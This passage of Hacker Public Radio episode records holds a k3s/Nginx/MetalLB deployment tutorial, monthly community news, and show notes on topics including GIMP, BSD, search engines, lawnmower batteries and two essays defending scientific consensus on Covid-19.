                                                            \n
                                                            [k100c]$ k3s kubectl create namespace ktest\n
                                                            \n

                                                            The Kubernetes project provides an example Nginx deployment definition. Read through it to get an idea of what it does. It looks something like this:

                                                            \n
                                                            apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: nginx-deployment\nspec:\n  selector:\n    matchLabels:\n      app: nginx\n  replicas: 2 # tells deployment to run 2 pods matching the template\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n
                                                            \n

                                                            This creates metadata named nginx-deployment. It also creates a label called app, and sets it to nginx. This metadata is used as selectors for pods and services later.

                                                            \n

                                                            For now, create a deployment using the example:

                                                            \n
                                                            [k100c]$ k3s kubectl --namespace ktest \\\ncreate -f https://k8s.io/examples/application/deployment.yaml\n
                                                            \n

                                                            Confirm that the deployment has generated and started new pods:

                                                            \n
                                                            [k100c]$ k3s kubectl --namespace ktest get all\n3s kubectl --namespace ktest get all\nNAME                                  READY\npod/nginx-deployment-66b[...]   1/1   Running\npod/nginx-deployment-66b[...]   1/1   Running\n\nNAME                               READY\ndeployment.apps/nginx-deployment   2/2\n\nNAME\nreplicaset.apps/nginx-deployment-66b6c48dd5\n
                                                            \n

                                                            See the pods labelled with app: nginx:

                                                            \n
                                                            [k100c]$ k3s kubectl --namespace ktest \\\nget pods -l app=nginx\nNAME                                READY STATUS\nnginx-deployment-66b6c48dd5-9vgg8   1/1   Running\nnginx-deployment-66b6c48dd5-prgrf   1/1   Running\nnginx-deployment-66b6c48dd5-cqpgf   1/1   Running\n
                                                            \n

                                                            Create a service

                                                            \n

                                                            Now you must connect the Nginx instance with a Kubernetes Service.

                                                            \n

                                                            The selector element is set to nginx to match pods running the nginx application. Without this selector, there would be nothing to correlate your service with the pods running the application you want to serve.

                                                            \n
                                                            [k100c]$ cat << EOF | k3s kubectl \\\n--namespace ktest create -f -\napiVersion: v1\nkind: Service\nmetadata:\n  name: nginx-deployment\n  labels:\n    run: nginx-deployment\nspec:\n  ports:\n  - port: 80\n    protocol: TCP\n  selector:\n    app: nginx\nEOF\nservice/nginx-deployment created\n
                                                            \n

                                                            Verify that the service exists:

                                                            \n
                                                            [k100c]$ k3s kubectl --namespace ktest get svc nginx-deployment\nNAME       TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)   AGE\nnginx-deployment   ClusterIP   10.43.32.89   <none>        80/TCP    58s\n
                                                            \n

                                                            A Service is backed by a group of Pods. Pods are exposed through endpoints. A Service uses POST actions to populate Endpoints objects named nginx-deployment. Should a Pod die, it's removed from the endpoints, but new Pods matching the same selector are added to the endpoints. This is how Kubernetes ensures your application's uptime.

                                                            \n

                                                            To see more information:

                                                            \n
                                                            [k100c]$ k3s kubectl \\\n--namespace ktest \\\ndescribe svc nginx-deployment\nName:              nginx-deployment\nNamespace:         ktest\nLabels:            run=nginx-deployment\nAnnotations:       <none>\nSelector:          app=nginx\nType:              ClusterIP\nIP Family Policy:  SingleStack\nIP Families:       IPv4\nIP:                10.43.251.104\nIPs:               10.43.251.104\nPort:              <unset>  80/TCP\nTargetPort:        80/TCP\nEndpoints:         10.42.2.8:80,10.42.2.9:80,10.42.3.7:80\nSession Affinity:  None\nEvents:            <none>\n
                                                            \n

                                                            Notice that the Endpoints value is set to a series of IP addresses. This confirms that instances of Nginx are accessible. The IP of the service is set to 10.43.251.104, and it's running on port 80/TCP. That means you can log onto any of your nodes (referred to as \"inside the cluster\") to interact with your Nginx app. This does not work from your control plane, only from a node.

                                                            \n
                                                            [k101c]$ curl https://10.43.251.104\n<!DOCTYPE html>\n<html>\n<head>\n<title>Welcome to nginx!</title>\n</head>\n<body>\n<h1>Welcome to nginx!</h1>\n</body>\n</html>\n
                                                            \n

                                                            Nginx is accessible.

                                                            \n

                                                            The only thing left to do now is to route traffic from the outside world.

                                                            \n

                                                            Exposing a deployment

                                                            \n

                                                            For a deployed application to be visible outside your cluster, you need to route network traffic to it. There are many tools that provide that functionality.

                                                            \n

                                                            Install metallb:

                                                            \n
                                                            $ k3s kubectl apply \\\n-f https://raw.githubusercontent.com/metallb/metallb/v0.10.2/manifests/namespace.yaml\n$ k3s kubectl apply \\\n-f https://raw.githubusercontent.com/metallb/metallb/v0.10.2/manifests/metallb.yaml\n$ k3s kubectl create secret generic \\\n-n metallb-system memberlist \\\n--from-literal=secretkey="$(openssl rand -base64 128)"\n
                                                            \n

                                                            Determine what network range you want your cluster to use. This must not overlap with what your DHCP server is managing.

                                                            \n
                                                            ---\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  namespace: metallb-system\n  name: config\ndata:\n  config: |\n    address-pools:\n    - name: address-pool-0\n      protocol: layer2\n      addresses:\n      - 10.0.1.1/26\n
                                                            \n

                                                            Save this as metallb.yaml and apply the configuration:

                                                            \n
                                                            $ k3s kubectl apply -f metallb.yaml\n
                                                            \n

                                                            You now have a configmap for metallb, and metallb is running.

                                                            \n

                                                            Create a load balance service mapping your deployment's ports (port 80 in this case, which you can verify with k3s kubectl -n ktest get all). Save this as loadbalance.yaml:

                                                            \n
                                                            ---\napiVersion: v1\nkind: Service\nmetadata:\n  name: ktest-ext\n  namespace: ktest\nspec:\n  selector:\n    app: nginx\n  ports:\n    - protocol: TCP\n      port: 80\n      targetPort: 80\n  type: LoadBalancer\n
                                                            \n

                                                            This service selects any deployment in the ktest namespace with an app name of nginx, and maps the container's port 80 to a port 80 for an IP address within your address range (in my example, that's 10.0.1.1/26, or 10.0.1.1-10.0.1.62).

                                                            \n
                                                            $k3s kubectl apply -f loadbalance.yaml\n
                                                            \n

                                                            Find out what external IP address it got:

                                                            \n
                                                            $ k3s kubectl get service ktest-ext -n ktest\nNAME        TYPE           CLUSTER-IP     EXTERNAL-IP      PORT(S)\nktest   LoadBalancer   10.43.138.91   10.0.1.3                  80:31790/TCP\n
                                                            \n

                                                            Open a web browser and navigate to the external IP address listed (in this example, 10.0.1.3).

                                                            \n

                                                            \"Nginx\"

                                                            \n","hostid":78,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"network, kubernetes, cloud","version":0,"downloads":0,"valid":1}, {"id":3435,"date":"2021-10-01","title":"Hacking Stories with Reacted: part 5","duration":1060,"summary":"I talk about some old old old pentesting stories from days old!","notes":"

                                                            I talk about some old old old pentesting stories from days old!

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacking,pentesting,red team,hacking stories","version":0,"downloads":0,"valid":1}, {"id":3436,"date":"2021-10-04","title":"HPR Community News for September 2021","duration":3268,"summary":"HPR Volunteers talk about shows released and comments posted in September 2021","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n CoGo, \n BlacKernel.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3413Wed2021-09-01Bash snippet - using coproc with SQLiteDave Morriss
                                                            3414Thu2021-09-02Critical Thinking may make You Critical of the Covid CrisisCoGo
                                                            3415Fri2021-09-03Hacking Stories with Reacted: part 3operat0r
                                                            3416Mon2021-09-06HPR Community News for August 2021HPR Volunteers
                                                            3417Tue2021-09-07Ceph cluster hardwareDaniel Persson
                                                            3418Wed2021-09-08My gEeeky Experiment - Part 2Claudio Miranda
                                                            3419Thu2021-09-09Linux Inlaws S01E38: Tiny kernelsmonochromec
                                                            3420Fri2021-09-10Normal Layer Modes: Erase, Merge, and SplitAhuka
                                                            3421Mon2021-09-13BlacKernel's Journey Into Technology: Episode 1BlacKernel
                                                            3422Tue2021-09-14Update about Phones and DevicesJWP
                                                            3423Wed2021-09-15\"upg.sh\" my \"dump.txt\" to \"note.md\"Some Guy On The Internet
                                                            3424Thu2021-09-16Infosec Podcasts Part 6 - Infosec LeadershipTrey
                                                            3425Fri2021-09-17Hacking Stories with Reacted: part 4operat0r
                                                            3426Mon2021-09-20Rust 101: Episode 0 - What in Tarnishing?BlacKernel
                                                            3427Tue2021-09-21Ranger for the Win!Mr. Young
                                                            3428Wed2021-09-22Bad disk rescueAndrew Conway
                                                            3429Thu2021-09-23Linux Inlaws S01E39: Ubuntu and the Communitymonochromec
                                                            3430Fri2021-09-24BootingAhuka
                                                            3431Mon2021-09-27Living in the TerminalBlacKernel
                                                            3432Tue2021-09-28Reading a license: Creative Commons Attribution ShareAlike 4.0 Internationalclacke
                                                            3433Wed2021-09-29A Squirrels thoughts about RMSZen_Floater2
                                                            3434Thu2021-09-30From 0 to K8s in 30 minutesklaatu
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 27 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3297\n(2021-03-23) \"Nextcloud Application Updating\"\nby ToeJet.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKen Fallon on 2021-09-21:\n\"+1\"

                                                              \n
                                                            • hpr3377\n(2021-07-13) \"Chromebook support and more\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nFSA on 2021-09-30:\n\"Sound Quality Trolling?\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 25 comments on 13 of this month's shows:

                                                            \n
                                                            • hpr3413\n(2021-09-01) \"Bash snippet - using coproc with SQLite\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2021-09-01:\n\"New tool for my toolbox\"
                                                              • Comment 2:\nTrey on 2021-09-02:\n\"Excellent detail!\"
                                                              • Comment 3:\nDave Morriss on 2021-09-02:\n\"Re: New tool for my toolbox\"
                                                              • Comment 4:\nDave Morriss on 2021-09-02:\n\"Re: Excellent detail!\"

                                                              \n
                                                            • hpr3414\n(2021-09-02) \"Critical Thinking may make You Critical of the Covid Crisis\"\nby CoGo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-09-02:\n\"Controversial topic... Love it!\"
                                                              • Comment 2:\ndrad on 2021-09-03:\n\"Great Episode!\"
                                                              • Comment 3:\nBarbara Ann Walko on 2021-09-09:\n\"hpr3414\"
                                                              • Comment 4:\nJoel on 2021-09-09:\n\"Excellent analysis!\"

                                                              \n
                                                            • hpr3415\n(2021-09-03) \"Hacking Stories with Reacted: part 3\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWillingness on 2021-09-04:\n\"Awesome\"

                                                              \n
                                                            • hpr3416\n(2021-09-06) \"HPR Community News for August 2021\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2021-09-07:\n\"My former profession\"

                                                              \n
                                                            • hpr3417\n(2021-09-07) \"Ceph cluster hardware\"\nby Daniel Persson.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMichael on 2021-09-08:\n\"Why Ceph?\"

                                                              \n
                                                            • hpr3420\n(2021-09-10) \"Normal Layer Modes: Erase, Merge, and Split\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmu.rupeshkumar@gmail,com on 2021-09-12:\n\"can't hear in Mobile\"
                                                              • Comment 2:\nKen Fallon on 2021-09-13:\n\"Fixed\"

                                                              \n
                                                            • hpr3421\n(2021-09-13) \"BlacKernel's Journey Into Technology: Episode 1\"\nby BlacKernel.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-09-13:\n\"Welcome & thanks for sharing!\"

                                                              \n
                                                            • hpr3423\n(2021-09-15) \"\"upg.sh\" my \"dump.txt\" to \"note.md\"\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-09-15:\n\"Great work\"

                                                              \n
                                                            • hpr3426\n(2021-09-20) \"Rust 101: Episode 0 - What in Tarnishing?\"\nby BlacKernel.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-09-20:\n\"Thank you.\"
                                                              • Comment 2:\nHipstre on 2021-09-20:\n\"Rust 101, Episode 0\"

                                                              \n
                                                            • hpr3427\n(2021-09-21) \"Ranger for the Win!\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njrullo on 2021-09-22:\n\"Vim lover\"

                                                              \n
                                                            • hpr3429\n(2021-09-23) \"Linux Inlaws S01E39: Ubuntu and the Community\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2021-09-23:\n\"Just the usual complaint\"

                                                              \n
                                                            • hpr3430\n(2021-09-24) \"Booting\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-09-24:\n\"Trip down memory lane...\"
                                                              • Comment 2:\nKevin O'Brien on 2021-09-24:\n\"You are most welcome\"

                                                              \n
                                                            • hpr3431\n(2021-09-27) \"Living in the Terminal\"\nby BlacKernel.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nOperat0r on 2021-09-27:\n\"Kids these days!\"
                                                              • Comment 2:\nMr. Young on 2021-09-28:\n\"+1 for cnus\"
                                                              • Comment 3:\nsesamemucho on 2021-09-29:\n\"The text\"
                                                              • Comment 4:\nDave Morriss on 2021-09-29:\n\"Very enjoyable\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-September/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            This month 5 additional shows in the range 1-870 have been uploaded.

                                                            \n

                                                            Since we don't want to upload shows without summaries or tags the old shows and tag and summary projects are now tied together. So we will be all the more welcoming of tag and summary updates submitted as described on the summary page.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month:
                                                            \nArcher72, Rho`n

                                                            \n

                                                            Over the period tags and/or summaries have been added to 76 shows which were without them.

                                                            \n

                                                            There are currently 38 shows which need a summary and/or tags.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3437,"date":"2021-10-05","title":"The HTML document format","duration":402,"summary":"Talking about my favorite document format.","notes":"

                                                            Klaatu asked us what document format we like and why, so this is a response to his podcast. In this podcast I talk about HTML and the importance of good document structure.

                                                            ","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"html, document, css, javascript","version":0,"downloads":0,"valid":1}, {"id":3438,"date":"2021-10-06","title":"Ten privacy friendly Google search alternatives.","duration":551,"summary":"Google search is monopolistic here are some alternatives","notes":"

                                                            Here are links to all the search engines and related stuff discussed during this podcast,

                                                            \n\n
                                                            \n

                                                            \nhpr0773 :: Interview with Gabriel Weinberg of DuckDuckGo

                                                            \n","hostid":397,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"searx, whoogle, metager, gigablast, private.sh, ecosia, startpage, qwant, brave, duckduckgo","version":0,"downloads":0,"valid":1}, {"id":3439,"date":"2021-10-07","title":"Linux Inlaws S01E40: The One with the BSDs","duration":5834,"summary":"The other One Operating System to Rule them all","notes":"

                                                            In this episode, Martin and Chris host an eclectic panel of contributors to\nthe *other* major FLOSS operating system family - you guessed it: the\nflavours of the Berkeley Software Distribution (aka BSD among friends).\nDisclaimer: you may be tempted to diverge from the Path of the\nRighteousness also known as Linux and give this alternative a spin. So\nthis episode is *not* for the faint-hearted - listen at your own\ndiscretion! Also: the true defective nature of our beloved (?) hosts' past\nwill be revealed - an episode not be missed despite the caveat! Plus\na refresher on spaced-out operating system concepts including library\noperating systems and a rant on Android and friends. In addition to some\ncool BSD trolling...

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Berkeley Software Distribution, library operating systems, Android, Copyleft, BSD License, Usenet","version":0,"downloads":0,"valid":1}, {"id":3440,"date":"2021-10-08","title":"Lighten Layer Modes","duration":1168,"summary":"We continue our look at the Layer Modes in GIMP with the Lighten Modes","notes":"

                                                            Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the Lighten Modes, except for Dodge which we will cover in the next tutorial along with Burn. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layer Modes, Blending Modes, Lighten","version":0,"downloads":0,"valid":1}, {"id":3441,"date":"2021-10-11","title":"Murphy Work Bench","duration":842,"summary":"Operator talks about hitting his head on his work bench","notes":"
                                                              \n
                                                            • PROS:\n
                                                                \n
                                                              • easy clean up just fold and vacuum
                                                              • \n
                                                              • height is great for tall people so I'm not hunched over the table
                                                              • \n
                                                              • saves space
                                                              • \n
                                                            • \n
                                                            • CONS:\n
                                                                \n
                                                              • I ran into it 2 times so I rounded the edges
                                                              • \n
                                                              • I just now hit my head on it ... folded and crashed everything on the table to the ground and pic I custom made fell of the wall and into my AC water bucket
                                                              • \n
                                                              • loud when using and setting up everything echoes though the walls at night etc
                                                              • \n
                                                            • \n
                                                            \n\n\n

                                                            \"https://hackerpublicradio.org/eps/hpr3441/hpr3441/WorkBench.gif\"

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"DIY,wood working,hacking","version":0,"downloads":0,"valid":1}, {"id":3442,"date":"2021-10-12","title":"What is this thing called science","duration":790,"summary":"Critical thinking is only part of the equation. Here's the other part.","notes":"
                                                            \n

                                                            Counter Point

                                                            \n

                                                            This show is a counter point to: hpr3414 :: Critical Thinking may make You Critical of the Covid Crisis\n

                                                            \n
                                                            \n\n

                                                            Some time ago, I did some Hacker Public Radio episodes in which I ostensibly demonstrated how to create a PDF with Scribus. Secretly, I was actually demonstrating how unexpected payloads could be embedded into a PDF. Did the PDF I uploaded as part of that episode no longer contain a payload if the listener who downloaded it wasn't aware that the payload existed?

                                                            \n

                                                            I've been diagnosed by educators as a \"life long learner,\" which as far as I can tell is a buzzword referring to someone who takes pleasure in learning new things. In our world of technology, dear listener, I think this term is just \"hacker.\" And that's appropriate, because this is Hacker Public Radio you're listening to now, and listeners of this show tend to be people who enjoy learning and exploring new ideas, taking apart gadgets to see what makes them tick, reverse engineering code and data to understand how it gets processed, and so on.

                                                            \n

                                                            The thing about being a hacker or a life-long learner is that there's a lot of stuff out there that wants to be hacked, or learnt. And it turns out that it's just not possible to learn everything. Sometimes, you're out of your depth. It can be tricky to recognize when you're out of your depth, and I think there's a certain learn-able skill to knowing that you don't know something. There's a lot of value to this skill, because when you can recognize you don't have expertise on something, you're able to look around you and find someone who has. That's significant because you can learn from someone with expertise.

                                                            \n

                                                            In my own humdrum life, before getting a full-time job at a tech company, I was commissioned on several occasions to build out infrastructure for a video game development project, an indie radio station, a few different multimedia projects, and so on. When I took on those roles, I became the resident expert. People turned to me for the authoritative word on what technological solutions should be used. When I told them, they were more or less obligated to listen, because that was the role I'd been hired for. If they were to ask me what a workstation should run, and I said Linux, but they bought a Mac instead, then my role would be unarguably redundant. They could just as easily type the question into a search engine on the Internet, and ignore the result. Or they could roll a die, or whatever.

                                                            \n

                                                            In those cases, though, it's a question of my opinion compared to someone else's opinion. Both are valid. Because I was the architect, my opinion mattered more to the long-term plan, but if the long-term plan were to change from having a highly-available cluster for fast 3d model rendering to having workstations with a familiar desktop, then my opinion would be less valid.

                                                            \n

                                                            But there are some areas in life where opinions don't matter. Specifically, that area is science. But what is science, anyway? People talk about science a lot, but it took me a long time, especially as someone who largely came from an artistic background, to comprehend the significance of the term, much less how it worked.

                                                            \n

                                                            Forget about all the high school classes and pop dietitians and physicists. Science is a framework. It's a set of principles designed to help our human brains hack the world around us in a methodical and precise way. Instead of letting our opinions, which may or may not be relevant, influence conclusions and decisions we make, science looks at the results of controlled input and output. Wait a minute. \"Input and output\"? Those are words I understand. Those are computer terms!

                                                            \n

                                                            Yeah it turns out that computers are the product of science, and in fact building computers and programming computers is a form of Computer Science. Those are just words we made up, but they reveal a lot about what we computer hackers do all day. Computers don't understand the influence of opinion, or your force of will, or the power of faith. They just take input and produce output. They do this very reliably.

                                                            \n

                                                            I don't know whether you've ever tried, but it's really hard to make a computer. Comprehending how a CPU processes rudimentary electrical pulses to transform them into complex instruction sets is mind-bending, at least to me. I've sat down and thought about it critically. I've set up a few experiments, too. There's one you can do with dominoes, believe it or not, that can somewhat help you design a logic circuit. There's a Turing Machine you can build with Magic The Gathering cards. And an electronics kit that'll help you build an 8bit CPU. But even with all of those experiments, the open RISC-V CPU still eludes my comprehension.

                                                            \n

                                                            And just to be clear: back in 2008 or so, I was hired to stress test a RISC CPU to determine whether it was efficient at rendering massive amounts of video. I designed tests in an attempt to prove that a RISC CPU could not out-perform the latest Intel Core2duo, and could not achieve the goal (RISC is better, what can I say?) So my affinity for RISC is far from just a passing interest. But I can't build a RISC-V or even really explain how a CPU works.

                                                            \n

                                                            For that, I understand that there are experts. These aren't just people I call experts because they're labeled that way on their shirt pocket. They're experts because they're building the RISC-V, and it works. I met some of them back at OSS Con in 2019. I recognize their expertise, because they're proving their knowledge.

                                                            \n

                                                            Let's say I approached the RISC-V booth with the preconception that x86 was superior. After all, why would most consumer computers be running x86 if it weren't the best? I might be skeptical if I were told that RISC-V is superior for some tasks. Could they have ulterior motives? Could they have been paid off by Big Silicon to lie about RISC's performance in order to hurt x86's marketshare? Sure, it could happen. And that skepticism is important. It's arguably part of the scientific process. Look at the results of an experiment, replicate the input and ensure that the output is reliably the same.

                                                            \n

                                                            But you can't be sure until you've duplicated the experiments that make the claim in the first place. Unfortunately, this often requires some pretty controlled environments, and possibly some pretty high end equipment.

                                                            \n

                                                            The bottom line is that I'm never going to get around to doing that, I'm never going to have access to those resources, and I'm never going to have the understanding I'd need to comprehend all the potential variables involved. In short, I just don't have the expertise. But I'm willing to trust the expertise of a lot of people from all over the world working on this project. I'm going to trust that because they all agree on similar findings, that what they're saying about the design and architecture of their CPU, that there's a high likelihood that their findings are correct.

                                                            \n

                                                            The same goes, as it turns out, for biological sciences. No matter how many one-off experiments discover that cigarette smoking is beneficial to your health, the wider scientific consensus is that it's harmful. No matter how man \"free-thinkers\" on the Internet discover that Covid-19 is actually no worse than the common cold, the worldwide scientific community asserts that it's actually harmful, and medical staffs across the globe assert that increased cases of Covid-19 cause bed and healthcare shortages for everyone else. Somebody online may assert that it's an impossibly unified globe-spanning political plot, but that relies on a bunch of untest-able opinions and interpretations of reality that fall well outside any scientific framework.

                                                            \n

                                                            It seems to me that this line of speculation makes about as much sense as asking whether your computer can really still add numbers accurately. Couldn't it occasionally be lying to you? The device you're using to listen to my voice right now not to scramble what I'm saying and accurately play what I recorded in the first place is based on the same scientific principles used by those in biological sciences. We're feeding data into functions, whether the function is written in code, forged in silicon, or written on paper as a math formula, and we're observing the results. When every expert in their field, across the entire globe, agrees on the output, I think we do too. It's either that, or we'd better all go build our own 8bit circuits out of chickens and batteries and just start to rebuild.

                                                            \n

                                                            So did the PDF I uploaded as part of the Scribus episode no longer contain a payload if the listener who downloaded it wasn't aware that the payload existed? Obviously not. If the listener lacked the foresight or expertise to investigate the PDF for a hidden file, then they could have posted an episode of their own about how my PDF was completely normal. They'd have been confident in their findings. But you and I know that whatever experiments they might have used to come to the conclusion that Klaatu was NOT a liar was, in the end, insufficient. The payload did exist, but it was just outside this imaginary listener's detection or comprehension.

                                                            \n

                                                            Critical thinking is important. But at the same time, the scientific framework requires more than just critical thinking, just as building a RISC-V CPU requires more than just being a fan of reduced instruction sets. And solving the Covid-19 crisis takes a lot more than just critical thinking and a couple of backyard \"experiments.\" We're not in the Dark Ages any more, folks. Get vaccinated. Stay safe, and I'll talk to you next time.

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"covid, science, risc-v, cpu","version":0,"downloads":0,"valid":1}, {"id":3443,"date":"2021-10-13","title":"Neuton battery replacement","duration":593,"summary":"Rho`n describes replacing the battery in his Neuton EM 4.1 electric lawn mower","notes":"

                                                            Audio Notes

                                                            \n

                                                            During the audio I repeatedly called it the Neutron mower instead of the Neuton mower. I was too lazy edit those mispronunciations.

                                                            \n

                                                            Introduction

                                                            \n

                                                            After recently reclaiming my Neuton EM 4.1 electric lawn mower from my parents, I needed to replace the battery to make it operational. This mower was purchased in the early 2000s, and replacement batteries for it are no longer available from the manufacturer. Thankfully replacement 12V 10A batteries are available through third parties.

                                                            \n

                                                            Replacing Parts

                                                            \n

                                                            I faced two issues with finding replacement parts. The Neuton mowers run at 24V and need batteries that can provide 10 amps of current. They come with a battery case that holds two 12V 10A batteries connected in series. The case holds the batteries and provides a connector and circuitry for a 24V DC charger. When I received the mower back from my parents, it didn't have a battery case with it. While the Neuton website is still online, and looks like you can order some accessories still, they no longer carry replacement battery cases or batteries. I was able to find just the case on EBay. I then found replacement batteries on Amazon.

                                                            \n

                                                            Installing the batteries in the case is simple. One side of the case has a lid. The lid is held in place by plastic notches on the bottom and two screws at the top. The screws have size 10 star heads. The batteries sit side by side in the case, with their terminals facing the lid. I connected the inner terminals (negative of one battery to positive of the other) with the jumper wire that came with the case. I then connected the outer terminals to the battery case terminal wires, slid the batteries all the way into case, closed, and fastened the lid.

                                                            \n

                                                            Conclusion

                                                            \n

                                                            The batteries are currently charging. The red charging light did come on when I plugged in the 24V DC charger, and nothing has exploded yet, so I am optimistic I will be able to use the mower again shortly.

                                                            \n

                                                            References

                                                            \n
                                                              \n
                                                            • Neuton CE5.4 24 volt rechargeable battery CASE ONLY - EBay item
                                                            • \n
                                                            • Mighty Max Battery 12V 10AH Replaces HE12V127 HGL1012 LCRB1210P NEUTON CE5 POWPS12100 Battery - 2 Pack Brand Product - Amazon item
                                                            • \n
                                                            \n

                                                            Attribution

                                                            \n

                                                            The transition sound used between audio clips is found on freesound.org:
                                                            \nName: Harp Transition Music Cue
                                                            \nAuthor: DanJFilms
                                                            \nLicense: Creative Commons Zero

                                                            \n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"electric lawnmower,lawnmower,rechargeable battery","version":0,"downloads":0,"valid":1}, {"id":3444,"date":"2021-10-14","title":"The Psion series 5mx","duration":1178,"summary":"A show where I talk about my experiences of the Psion 5mx, a portable computer from the late 90s","notes":"

                                                            The psion series 5mx is a portable computer from the late 90s, here's my episode talking about it.

                                                            \n\n

                                                            Apologies for talking quickly!

                                                            ","hostid":381,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"retro, psion, programming, pdas","version":0,"downloads":0,"valid":1}, {"id":3445,"date":"2021-10-15","title":"True critical thinking seems to be the key","duration":4328,"summary":"A response to HPR 3414","notes":"
                                                            \n

                                                            Counter Point

                                                            \n

                                                            This show is a counter point to: hpr3414 :: Critical Thinking may make You Critical of the Covid Crisis\n

                                                            \n
                                                            \n

                                                            A response to Critical Thinking may make You Critical of the Covid Crisis

                                                            \n

                                                            (HPR episode 3414, produced by CoGo and released on 2021-09-02)

                                                            \n

                                                            Defining terms

                                                            \n
                                                              \n
                                                            • What is Critical Thinking?\n
                                                                \n
                                                              • The Wikipedia definition begins: \"Critical thinking is the analysis of facts to form a judgment.\"
                                                              • \n
                                                              • It goes on to say: \"The subject is complex, and several different definitions exist, which generally include the rational, skeptical, unbiased analysis, or evaluation of factual evidence.\"
                                                              • \n
                                                              • See the references below.
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            Note the use of the terms fact, factual evidence and unbiased analysis. It is my contention that HPR episode 3414 fails in these regards in several places.

                                                            \n
                                                            \n
                                                              \n
                                                            • What is an \"experiment\"?\n
                                                                \n
                                                              • Wikipedia’s definition begins: \"An experiment is a procedure carried out to support or refute a hypothesis. Experiments provide insight into cause-and-effect by demonstrating what outcome occurs when a particular factor is manipulated.\"
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            The term experiment is often used incorrectly in episode 3414. A better term would be observation or anecdote

                                                            \n
                                                            \n
                                                              \n
                                                            • The virus:\n
                                                                \n
                                                              • The virus is a coronavirus. There are many viruses classified in this way.
                                                              • \n
                                                              • The name of the virus is SARS-CoV-2. The SARS part stands for Severe Acute Respiratory Syndrome, the type of disease caused by the virus. CoV signifies that it is a coronavirus and the 2 means it’s the second SARS-type corona virus to have caused problems in the recent past. The other one, just called SARS occurred in 2003.
                                                              • \n
